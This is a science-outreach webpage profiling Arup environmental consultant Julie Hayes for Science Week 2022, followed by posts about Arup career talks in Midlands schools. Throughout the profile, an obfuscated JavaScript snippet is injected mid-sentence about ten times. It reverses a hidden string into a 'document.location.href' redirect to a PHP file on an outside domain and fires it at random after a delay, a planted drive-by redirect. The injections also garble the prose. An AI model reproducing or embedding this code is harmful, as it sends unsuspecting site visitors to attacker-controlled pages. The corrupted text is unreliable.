Science Week Science Profiles – Julie Hayes, ARUP

/in , , , , /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. First up is Julie Hayes from Arup. Julie is a Graduate Environmental Consultant that works with Arup’s Environmental Team in Cork. Julie has a BSc in Environmental Science from UCC and also an MSc in Applied Environmental Geoscience, also from UCC. We caught up with Julie and asked her some questions about her career in science:

 

Tell us a little about your earliest experiences of science?

My earliest experience of science is a bit different. I think it would have to be sitting in front of the TV and watching Animal Planet with my Grandad growing up. Every week we’d watch David Attenborough or Steve Irwin galivanting across new exotic places, finding dangerous animals and highlighting issues (that I didn’t yet fully understand) such as climate change, habitat loss and endangered species. I remember thinking “that’s what I want to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do”. Now, while I might not be out in swamps tackling crocs (or “beauties”) or filming “extraordinary” landscapes, I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do get to work towards tackling some of these same issues as part of my job, which is really cool!

 

What did you study at college, and can you tell us a little about it?

I studied BSc Environmental Science at University College Cork as my undergraduate degree. This is one of the disciplines you can chose after completing the first year of Biological, Earth and Environmental Sciences (BEES) at UCC. I absolutely loved my time studying Environmental science – so much so, I stayed for another year at UCC to pursue a masters in Applied Environmental Geoscience. What I loved the most is the diversity and variety in science. I have always been interested in many things and this course certainly covers a little bit of everything from air and water quality, chemistry and physics, to geography, GIS, geology, zoology and ecology. Experiencing work in the classroom, in the labs and even out in the field was the best part, which allowed us to learn how to physically take samples and log soil cores, before analysing them in the lab and writing up a report in the classroom. Never in a million years did I think my degree could take me to sampling water from a contaminated island in Helsinki, working in a bog for 6 months for my master’s thesis or even mapping sand dunes in the Hague with a drone while studying abroad! Although it wasn’t always easy and at times really tough, I would recommend this course to anyone who enjoys learning a little bit about everything from the desk, to the field, to the lab (and back again!).

 

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

Currently I’m working as a graduate environmental consultant with Arup’s environmental team in Cork. Some of the work we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do includes preparing environmental impact assessments for planning applications, environmental licencing for industrial emissions facilities, and carbon and sustainability assessments for our clients. My favourite thing about working in this area is that while the reports we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do might seem the same, the work is always changing and there’s always a challenge or two (or three!) to keep us interested along the way!

At Arup we have a strong emphasis on achieving sustainability in our work and in the projects that we take on. The best part for me is knowing you are working in an important area like environmental science and are able to contribute towards tackling things like climate, biodiversity and environmental impact in some small way as part of your job, whether it be providing advice to clients on ways to cut $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down carbon emissions or identifying areas of potential environmental impact and reducing this risk. I just think that is really cool!

 

What is your favourite science fact?

The most common shape found in nature is a hexagon (think of honeycomb or the giant’s causeway). I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t know why but I’ve always liked that one!

 

What advice would you give to a young person considering a career in science?

Science is always changing and there is always more to learn! It covers a range of topics from astrophysics to pharmaceuticals, and while some might think the only job of a scientist is working in a lab, there are also plenty of other opportunities out there when pursuing this career, be it in out in the field, in academics or as a consultant (like me). Studying science has opened up a world of opportunities to me and I have met some of the best people I know through my studies and my work. So, if you’re considering a career in science and enjoy learning something new every day, I would highly recommend a career in this area – you’ll never have a dull moment! P.S. You $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not have to be brilliant at maths (but understanding the basics $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does help!)

 

 

Inspirational Careers Advice for Science Week

/in , , , , , , , , /by

The Midlands Science Festival has hosted a large number of science and technology career talks throughout the week in partnership with a number of companies such as Accenture, Arup, Energia, IMR and 3M with topics ranging environmental science to science jobs of the future, toxicology and climate change.

We would like to thank all of the  speakers who came to the region (virtually this year) to deliver these high value presentations to students. It is fantastic to see how science can be brought to life when someone new and inspiring comes in to the classroom and tells a science s tory from a different perspective.

We were delighted to see hands up after every talk and lots of questions. Thanks again to all who participated and to the regional schools for hosting. #BelieveInScience

Offaly Past Pupils to Deliver Inspiring Career talks

/in , , , , , , /by

As part of Science Week 2021, Midlands Science is delighted to be teaming up with Arup; an independent firm of designers, planners, engineers, project managers, consultants and technical specialists, working across every aspect of today’s built environment. This year’s Science Week, which is managed by Science Foundation Ireland’s (SFI) Discover Programme, will take place from 7-14 November and is focused on Creating Our Future, the national conversation on research in Ireland. As part of the Midlands programme, Debbie Flynn (Environmental Consultant) and Una O’Grady (Senior Civil Engineer) will deliver virtual presentations to schools in Offaly.

Ahead of the virtual event, Debbie Flynn of Arup commented,

‘Arup is delighted to partake in this year’s Science Week by virtually visiting a number of local Midlands schools. We hope that sharing our s tories about how we chose our career paths and the variety of projects we work on every day will shed some light on what it means to work in STEM. It is an honour to partner with Midlands Science and hopefully inspire the students to follow their interests and choose careers where they can make a difference.’

Debbie, who is originally from Kilcormac in Co. Offaly, will share how her degree in Environmental Science has enabled her to work in a role where she assesses and advises on environmental impacts, develops environmental management plans and scopes planning and permitting requirements for engineering projects around Ireland. She will share the key pieces of advice she has for the students as they begin making decisions about third level education.

Una, hailing from Birr in Co. Offaly, will tell the students about her career delivering energy and sustainability projects in Ireland and abroad. As a member of Arup’s Energy team, she is currently working on projects to transition the energy sec tor to lower carbon emissions and help meet climate change targets. She is looking forward to telling the students about the myriad of opportunities STEM careers provide to contribute to solving the challenges faced in today’s world.

CEO of Midlands Science, Jackie Gorman said, ‘We are really looking forward to virtually visiting schools across the Midlands during Science Week to give students the opportunity to learn more about the latest in science careers and to talk to them about the world of opportunities associated with it as a sec tor. We would like to take this opportunity to thank Arup and our many other corporate speakers who will be giving their time to help us celebrate and showcase all things science.’